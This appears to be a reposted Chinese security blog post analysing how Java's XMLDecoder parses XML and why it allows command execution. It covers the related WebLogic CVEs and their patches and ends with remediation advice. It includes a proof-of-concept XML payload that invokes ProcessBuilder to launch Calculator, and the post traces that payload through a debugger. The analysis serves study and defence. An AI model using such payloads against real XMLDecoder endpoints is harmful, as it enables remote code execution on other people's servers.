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XMLdecoder安全漏洞分析

No.1

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No.2

前言

之前看到关于xmldecoder的解析流程分析文章然后我就想着自己也跟一下,我测试的java版本是1.8.0_171。


No.3

测试代码

import java.io.BufferedInputStream;

import java.io.File;

import java.io.FileInputStream;

import java.beans.XMLDecoder;

public class Xmldecoder {

public static void XMLDecode_Deserialize(String path) throws Exception {
File file = new File(path);
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xd = new XMLDecoder(bis);
xd.readObject();
xd.close();
}

public static void main(String[] args){

//XMLDecode Deserialize Test

String path = “/Users/l1nk3r/Desktop/poc.xml”;

try {
XMLDecode_Deserialize(path);
} catch (Exception e) {
e.printStackTrace();
}
}
}

<?xml version=”1.0″ encoding=”UTF-8″?>

<java version=”1.8.0_131″ class=”java.beans.XMLDecoder”>

<object class=”java.lang.ProcessBuilder”>

<array class=”java.lang.String” length=”2″>

<void index=”0″>

<string>open</string>

</void><void index=”1″><string>/Applications/Calculator.app</string>

</void>

</array>

<void method=”start” />

</object>

</java>


No.4

前置知识

这里我选择在 java.lang.ProcessBuilder 接收 array 类型数据传入的地方下个断点。

XMLdecoder安全漏洞分析

可以看到整个解析流程涉及到的类和构造方法大概就是如下所示,这里我们看到一个在 package:com.sun.beans.decoder 中 DocumentHandler 类中 parse 解析了,我们的传入的xml文件。

XMLdecoder安全漏洞分析

这里可以跟进一下 DocumentHandler 类,这个类继承了 DefaultHandler 。

XMLdecoder安全漏洞分析

跟进一下 DefaultHandler 类,我们可以知道它是使用 sax 来解析 xml 的默认 handler ,而且代码里来看它主要实现了 EntityResolver ,  DTDHandler ,  ContentHandler ,  ErrorHandler 这四个 handler 。

package org.xml.sax.helpers;

import java.io.IOException;

import org.xml.sax.InputSource;

import org.xml.sax.Locator;

import org.xml.sax.Attributes;

import org.xml.sax.EntityResolver;

import org.xml.sax.DTDHandler;

import org.xml.sax.ContentHandler;

import org.xml.sax.ErrorHandler;

import org.xml.sax.SAXException;

import org.xml.sax.SAXParseException;

回过头来看 DocumentHandler 这个类,在这个类的构造方法中,我们看到了 XMLDecoder 对每种支持的标签都实现了一个继承与 ElementHandler 的类。

XMLdecoder安全漏洞分析

所以从目前来看 DocumentHandler 这个构造函数主要的作用就是创建各个标签对应的 ElementHandler 并进行调用。当然关于 DocumentHandler 类因为是继承了 DefaultHandler 类,这一点我们前面聊到了,而 DefaultHandler 类中解析xml的工作主要交付给了 ContentHandler 接口,所以我们可以借鉴一下这个接口是怎么个解析xml内容的,这里直接借鉴一下@fnmsd师傅写的内容,因为我觉得我自己写的话没有他写的这么的棒。


startElement
 处理开始标签,包括属性的添加
 DocumentHandler:XML解析处理过程中参数包含命名空间URL、标签名、完整标签名、属性列表。根据完整标签名创建对应的ElementHandler并添加相关属性,继续调用其startElement。


ElementHandler: 除了array标签以外,都无操作。


endElement
 结束标签处理函数
 DocumentHandler: 调用对应ElementHandler的endElement函数,并将当前ElementHandler回溯到上一级的ElementHandler。


ElementHandler: 没看有重写的,都是调用抽象类ElementHandler的endElement函数,判断是否需要向parent写入参数和是否需要注册标签对象ID。

characters
DocumentHandler: 标签包裹的文本内容处理函数,比如处理java.lang.ProcessBuilder包裹的文本内容就会从这个函数走。函数中最终调用了对应ElementHandler的addCharacter函数。


addCharacter
 ElementHandler:
ElementHandler里的addCharacter只接受接种空白字符(空格ntr),其余的会抛异常,而StringElementHandler中则进行了重写,会记录完整的字符串值。


addAttribute
 ElementHandler:
添加属性,每种标签支持的相应的属性,出现其余属性会报错。


getContextBean
 ElementHandler:
获取操作对象,比如method标签在执行方法时,要从获取上级object/void/new标签Handler所创建的对象。该方法一般会触发上一级的getValueObject方法。


getValueObject
 ElementHandler:
获取当前标签所产生的对象对应的ValueObject实例。具体实现需要看每个ElementHandler类。


isArgument
 ElementHandler:
判断是否为上一级标签Handler的参数。


addArgument
 ElementHandler:
为当前级标签Handler添加参数。


XMLDecoder相关的其它

 两个成员变量,在类的实例化之前,通过对parent的调用进行增加参数。


parent
 最外层标签的ElementHandler的parent为null,而后依次为上一级标签对应的ElementHandler。

owner
 ElementHandler: 固定owner为所属DocumentHandler对象。

DocumentHandler: owner固定为所属XMLDecoder对象。

而sax解析xml文件中的单个node节点(根节点)的流程在 DefaultHandler 中一般是三步走: startElement->characters->endElement  。

针对node节点(非根)的解析流程在中是四步走 DefaultHandler 中一般是四步走: startElement->characters->endElement->characters。

所以总结来看本质上最有关系的还是这三个构造方法 startElement、characters、endElement 。

然后,我们可以看看 DocumentHandler 中的这些 ElementHandler 的继承关系,这里重点表扬一下 idea 的 uml 的功能,使用方法很简单,选择一个你想要看的方法,右键选择 Diagrams 。

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然后每次选择 add Class to Diagram 就可以增加你要看的相关类。

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最后就生成了下面这张图。

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而关于xmldecoder对应的xml文件语法书写如下所示:

    每个元素表示方法调用。

    “对象”标签表示一个表达式 ,其值将用作封闭元素的参数。

    “void”标签表示将被执行的语句 ,但其结果将不会用作封闭方法的参数。

    包含元素的元素使用这些元素作为参数,除非它们具有标签:“void”。

    方法的名称由“method”属性表示。

    XML的标准“id”和“idref”属性用于对前面的表达式进行引用,以便处理对象图形中的循环。

    “类”属性用于明确指定静态方法或构造函数的目标; 其值是该类的完全限定名称。

    如果没有由“class”属性定义目标,则使用“void”标签的元素将使用外部上下文作为目标来执行。

    Java的String类被特别处理,并写入

Hello,world ,其中使用UTF-8字符编码将字符串的字符转换为字节。


No.5

流程跟进

这里跟进一下上面的那些基础知识分析过的内容,首先按照我们的了解来看,针对xml文件的解析最早应该是使用 DefultHandler 中 startElement ,我们在这里下个断点。

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回过头来看一下xml文件内容,最开始的节点叫java,所以这里解析出来对应的对应的 handler 是 JavaElementHandler 。

<?xml version=”1.0″ encoding=”UTF-8″?>
<java version=”1.8.0_131″ class=”java.beans.XMLDecoder”>
<object class=”java.lang.ProcessBuilder”>
<array class=”java.lang.String” length=”2″>
<void index=”0″>
<string>open</string>
</void>
<void index=”1″>
<string>/Applications/Calculator.app</string>
</void>
</array>
<void method=”start” />
</object>
</java>

而 JavaElementHandler 中的 addAttribute 构造函数的作用就是添加相应的属性,比如 version 的属性是版本信息这里是 1.8.0_131 ,而另一个就是 class 这里是 java.beans.XMLDecocer 。

public void addAttribute(String var1, String var2) {if (!var1.equals(“version”)) {if (var1.equals(“class”)) {this.type = this.getOwner().findClass(var2);
} else {super.addAttribute(var1, var2);
}
}

所以开始第一次 addAttribute 的结果是 version 和它对应的值,当然这个解析过程不是一次,单单是下面内容就会执行两次解析过程。

java version=”1.8.0_131″ class=”java.beans.XMLDecoder”

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当然关键不在这,我想知道为什么能够执行 java.lang.ProcessBuilder 这个类,从前面debug过程来看,如果。startElement 解析道这里处理之后对应的 handler 应该是 ObjectElementHandler 。

<object class=”java.lang.ProcessBuilder”>

<array class=”java.lang.String” length=”2″>

<void index=”0″>

<string>open</string>

</void><void index=”1″><string>/Applications/Calculator.app</string>

</void>

</array>

<void method=”start” />

</object>

在这里下一个断点,果然进来了, ObjectElementHandler 里面的 addAttribute 方法没有能够解析 class 的选项。

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但是由于 ObjectElementHandler 继承了 NewElementHandler ,所以这里便使用 NewElementHandler 中的 addAttribute 方法来处理,这里自然有了能够处理 class 的能力了。

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这里的 type 自然就是名字是 java.lang.ProcessBuilder 的类。

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这里处理完了之后就会继续调用 ArrayElementHandler 处理 array 的内容了,然后调用 VoidElementHandler 处理 void 标签的内容,而 VoidElementHandler 也是继承来自于 ObjectElementHandler ,自然而然也是回到了 ObjectElementHandler 中的 addAttribute 中了。

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这里我就下了两个断点,我们可以看到 void 标签中的 index 和 method 处理过程自然都进入到了这里。

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当然前面过程 void 标签处理完之后,首先会进入 DocumentHandler 的 endElement 方法进行处理,而这个方法中调用了 ElementHandler 中的 endElement 构造方法。

public void endElement(String var1, String var2, String var3) {

try {

this.handler.endElement();
} catch (RuntimeException var8) {

this.handleException(var8);
} finally {

this.handler = this.handler.getParent();
}
}

而在 endElement 构造方法中调用了 getValueObject ,这个方法设置了在 endElement 中被设置成了一个抽象类,我们通过在 java.lang.ProcessBuilder 处下一个断点,可以看到自然进到了 NewElementHandler 中的 getValueObject 了。

public void endElement() {
ValueObject var1 = this.getValueObject();if (!var1.isVoid()) {if (this.id != null) {this.owner.setVariable(this.id, var1.getValue());
}

if (this.isArgument()) {if (this.parent != null) {this.parent.addArgument(var1.getValue());
} else {this.owner.addObject(var1.getValue());
}
}
}
}

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再回顾一下继承关系,这里我放大了一下这部分内容。

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上面的 NewElementHandler 中的构造方法 getValueObject 在 ObjectElementHandler 、 ArrayElementHandler 、 MethodElementHandler 中分别被重写了。

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因为我们 payload 里面关于命令执行使用的是 object 标签,所以自然就进来到了 ObjectElementHandler 中,然后这里有调用了 getContextBean 方法,而根据继承关系,这个方法调用的是 NewElementHandler 中的 getContentBean 方法

protected final Object getContextBean() {return this.type != null ? this.type : super.getContextBean();
}

而 NewElementHandler 中的 getContextBean 方法又是因为继承关系调用了来自于 ElementHandler 中的 getContextBean 方法。

protected Object getContextBean() {if (this.parent != null) {
ValueObject var2 = this.parent.getValueObject();if (!var2.isVoid()) {return var2.getValue();
} else {throw new IllegalStateException(“The outer element does not return value”);
}
} else {
Object var1 = this.owner.getOwner();if (var1 != null) {return var1;
} else {throw new IllegalStateException(“The topmost element does not have context”);
}
}

而这里的 getValueObjcet 操作根据我的断点执行了两次。

XMLdecoder安全漏洞分析

我们可以看一下结果,第一次进入 NewElementHandler 中进行 getValueObject 实际上在 type 里面是没有 class 的值的。而第二次进入 NewElementHandler 中进行 getValueObject 操作的时候 type 是取到相关的 class 的值。

XMLdecoder安全漏洞分析
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那么根据上面所说这里势必会进入到 ObjectElementHandler 中的 getValueHandler 方法进行处理,而在这个方法的最后是调用了 Expression 中的 getValue 方法,这里可以看到我们要执行的命令以及 class 对象都已经传入了。

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而进一步动态调试我们可以看到 Expression 中的 getValue 已经返回我们需要的命令执行对象类,以及命令参数了。

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然后会重新回到 Void 标签对应的 getValueObject 函数,由于 ViodElementHandler 继承 ObjectElementHandler ,而我们这里设置的 method 等于 start ,因此这里通过 Expression 的反射机制调用了 start 函数,所以到这里自然命令执行了。

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这个是从师傅文章里看到的小贴士,自己跟下来之后确实是这样

    PS: 虽然ObjectElementHandler继承自NewElementHandler,但是其重写了getValueObject函数,两者是使用不同方法创建类的实例的。

    再PS: 其实不加java标签也能用,但是没法包含多个对象了。

然后再补充一下@fnmsd师傅画的流程图

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No.6

补丁

Oracle关于这个xmldecoder造成的漏洞的CVE编号分别是CVE-2017-3506、CVE-2017-10271、CVE-2019-2725。最早关于CVE-2017-3506的补丁只是根据Object标签进行了限制。

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而根据我们前面的继承关系可以讲 object 替换成 void 即可,它们实际上是不受影响的,因此便出现了CVE-2017-10271,而针对CVE-2017-10271的补丁限定了所有具有执行的节点。

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但这次 CVE-2019-2725 主要是 class 标签,class 标签可代替 object 标签来生成对象,因此这次漏洞本质还是xmldecoder的问题,而补丁也是针对class标签来处理的。

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No.7

修复建议

1、代码层防护。使用白名单,参考修复部分代码如下:

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    2、采用第三方防护设备进行防护,如waf、云waf等。


No.8

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————————

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5、至少熟悉一种编程语言(php/java/python),能够独立编写poc者优先;
6、具有良好的沟通能力和文档编写能力,动手能力强;
7、对工作有热情,耐心、责任心强,具备沟通能力和良好的团队意识;
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END

XMLdecoder安全漏洞分析


原文始发于微信公众号(雷神众测):XMLdecoder安全漏洞分析

本文转为转载文章,本文观点不代表威客安全立场。

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